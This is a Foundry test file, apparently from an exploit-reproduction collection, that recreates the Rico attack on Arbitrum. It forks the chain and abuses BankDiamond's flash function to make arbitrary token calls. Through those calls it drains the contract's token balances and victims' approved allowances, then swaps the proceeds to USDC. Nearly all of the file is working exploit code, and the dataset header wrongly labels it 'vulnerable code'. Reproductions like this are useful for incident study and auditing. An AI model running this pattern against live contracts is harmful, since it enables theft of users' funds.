HIGH severity: Rico exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 36K Attacker : https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d Attack Contract : https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f Vulnerable Contract : https://arbiscan.io/address/0x598c6c1cd9459

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 36K
// Attacker : https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d
// Attack Contract : https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f
// Vulnerable Contract : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b
// Attack Tx : https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6

// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://twitter.com/0xlouistsai/status/1781845191047164016
// Hacking God :

interface IBankDiamond {
    function flash(address, bytes calldata) external returns (bytes memory result);
}

contract Rico is Test {
    uint256 blocknumToForkFrom = 202_973_712;

    address constant BankDiamond = 0x598C6c1cd9459F882530FC9D7dA438CB74C6CB3b;
    address constant UniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;

    address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
    address constant ARB_TOKEN = 0x912CE59144191C1204E64559FE8253a0e49E6548;
    address constant LINK_TOKEN = 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;
    address constant WSTETH_TOKEN = 0x5979D7b546E38E414F7E9822514be443A4800529;
    address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
    address constant ARB_USDC_TOEKN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;

    function setUp() public {
        vm.createSelectFork("arbitrum", blocknumToForkFrom);
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "Attacker USDC Balance Before exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
        );

        // Transfer tokens from BankDiamond to the attacker
        transferTokens(USDC_TOKEN);
        transferTokens(ARB_TOKEN);
        transferTokens(LINK_TOKEN);
        transferTokens(WSTETH_TOKEN);
        transferTokens(WETH_TOKEN);
        transferTokens(ARB_USDC_TOEKN);

        // TransferFrom tokens from owners to the attacker
        transferFromOwner(0x512E07A093aAA20Ba288392EaDF03838C7a4e522, USDC_TOKEN);
        transferFromOwner(0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290, USDC_TOKEN);
        transferFromOwner(0x7b782A4D552a8ceB3924005a786a1a358BA63f71, WSTETH_TOKEN);

        // Swap tokens to USDC using UniV3Router
        swapTokens(ARB_TOKEN);
        swapTokens(LINK_TOKEN);
        swapTokens(WSTETH_TOKEN);
        swapTokens(WETH_TOKEN);
        swapTokens(ARB_USDC_TOEKN);

        // Log balances after exploit
        emit log_named_decimal_uint(
            "Attacker USDC Balance After exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
        );
    }

    function _getTransferData(
        address token
    ) internal view returns (bytes memory data) {
        uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
        data = abi.encodeWithSelector(IERC20.transfer.selector, address(this), tokenBalance);
    }

    function _getTransferFromData(address token, address user) internal view returns (bytes memory data) {
        uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
        uint256 tokenAllowance = IERC20(token).allowance(user, BankDiamond);
        if (tokenBalance >= tokenAllowance) {
            data = abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), tokenBalance);
        }
    }

    function transferTokens(
        address token
    ) internal {
        IBankDiamond(BankDiamond).flash(token, _getTransferData(token));
    }

    function transferFromOwner(address owner, address token) internal {
        bytes memory callData = _getTransferFromData(token, owner);
        if (callData.length > 0) {
            IBankDiamond(BankDiamond).flash(token, callData);
        }
    }

    function swapTokens(
        address token
    ) internal {
        uint256 tokenBalance = IERC20(token).balanceOf(address(this));
        IERC20(token).approve(UniV3Router, tokenBalance);

        Uni_Router_V3.ExactInputSingleParams memory params;
        params.tokenIn = token;
        params.tokenOut = USDC_TOKEN;
        params.fee = 3000;
        params.recipient = address(this);
        params.deadline = block.timestamp;
        params.amountIn = tokenBalance;
        params.amountOutMinimum = 0;
        params.sqrtPriceLimitX96 = 0;
        Uni_Router_V3(UniV3Router).exactInputSingle(params);
    }
}


Vulnerability type: unknown